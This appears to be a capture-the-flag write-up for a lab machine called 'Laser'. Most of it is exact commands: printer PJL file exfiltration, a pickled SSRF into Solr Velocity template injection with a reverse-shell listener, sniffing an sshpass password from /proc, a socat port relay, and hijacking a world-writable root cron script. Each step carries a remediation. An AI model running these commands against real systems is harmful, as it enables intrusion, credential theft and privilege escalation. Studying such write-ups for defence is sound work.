Laser
Summary
I discovered a LaserCorp network printer on port 9100 that accepted unauthenticated PJL management commands over a raw TCP connection. Printer filesystem enumeration revealed a 172 KB spooled print job; exfiltrating it via PJL FSUPLOAD and decrypting the AES-CBC blob (IV and length header prepended) produced a PDF whose body contained the complete gRPC protobuf schema for an internal Feed Engine on port 9000. The Feed Engine accepted an unsanitised user-supplied URL inside a base64-pickled payload, giving a fully open server-side request forgery primitive that reached an Apache Solr instance on localhost.
The Solr staging core ran the unpatched VelocityResponseWriter; injecting a Velocity template expression through the SSRF channel executed OS commands as the solr service account and returned a reverse shell — along with the user flag. From that foothold, local enumeration found a recurring background task invoking sshpass with its SSH password as a plain-text command-line argument; a tight polling loop on /proc/<pid>/cmdline captured the credential while the process was alive, and it authenticated as root inside the adjacent Docker container. With container root access, I stopped the container sshd and relayed its port 22 to the host SSH via socat.
A key-authenticated host root cron job that normally connected to the container was redirected to the host itself and executed a world-writable /tmp/clear.sh — overwriting that script staged the root flag for pickup on the next cron tick, completing the container escape.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<second-host-reached-after-pivoting>"Attack path — how the box was taken
Exact commands 2
nmap -Pn -p- --min-rate 5000 $TARGETnmap -Pn -sC -sV -p22,9000,9100 $TARGETFixFirewall port 9100 and disable unauthenticated PJL filesystem commandsCritical
Exact commands 2
printf '@PJL INFO ID\r\n' | nc $TARGET 9100printf '@PJL FSDIRLIST NAME="0:\\pjl\\jobs" ENTRY=1 COUNT=999\r\n' | nc $TARGET 9100Exact commands 3
printf '@PJL FSUPLOAD NAME="0:\\pjl\\jobs\\queued" OFFSET=0 SIZE=172199\r\n' | nc -q2 $TARGET 9100 > queued_raw.binpython3 -c "import ast,base64,struct; from Crypto.Cipher import AES; raw=open('queued_raw.bin','rb').read(); b=base64.b64decode(ast.literal_eval(raw.decode())); iv=b[8:24]; ct=b[24:]; plain=AES.new(b'<16-BYTE-KEY-FROM-NVRAM>',AES.MODE_CBC,iv).decrypt(ct); open('job.pdf','wb').write(plain)"python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. laser.protoFixNever print or spool documents containing internal schemas, credentials, or cryptographic materialHigh
Exact commands 2
python3 -c "import pickle,base64; print(base64.b64encode(pickle.dumps({'feed_url':'http://localhost:8983/solr/admin/cores?action=STATUS'})).decode())"python3 grpc_feed_client.py --host $TARGET --port 9000 --payload <BASE64_PICKLE_OUTPUT>FixValidate and allowlist URLs in the gRPC Feed Engine; replace unsafe pickle serialisationCritical
Exact commands 3
nc -lvnp 4444python3 grpc_feed_client.py --host $TARGET --port 9000 --feed_url "http://localhost:8983/solr/staging/select?q=1&wt=velocity&v.template=custom&v.template.custom=<URL_ENCODED_VELOCITY_RCE_PAYLOAD>"ssh -i /tmp/laser_solr_key -o BatchMode=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null solr@$TARGET 'cat /home/solr/user.txt'FixUpgrade Apache Solr and disable the VelocityResponseWriterCritical
Exact commands 2
while true; do for d in /proc/[0-9]*; do exe=$(readlink "$d/exe" 2>/dev/null); [ "$exe" = /usr/bin/sshpass ] && tr '\0' ' ' < "$d/cmdline" 2>/dev/null && echo; done; sleep 0.05; donesshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=6 root@$INTERNAL_HOST 'id; hostname; pwd'FixReplace sshpass command-line passwords with SSH key-based authentication for all automated tasksHigh
Exact commands 3
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@$INTERNAL_HOST "systemctl stop sshd && socat TCP-LISTEN:22,fork,reuseaddr TCP:$TARGET:22 &"ssh -i /tmp/laser_solr_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null solr@$TARGET 'printf "#!/bin/bash\ncp /root/root.txt /tmp/r.txt\nchmod 644 /tmp/r.txt\n" > /tmp/clear.sh; chmod +x /tmp/clear.sh'ssh -i /tmp/laser_solr_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null solr@$TARGET 'sleep 70 && cat /tmp/r.txt'FixRemove world-write permissions from all scripts executed by privileged cron jobsCritical
Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Server-Side Template InjectionWebT1190
What it is
When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.
Why it works
The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.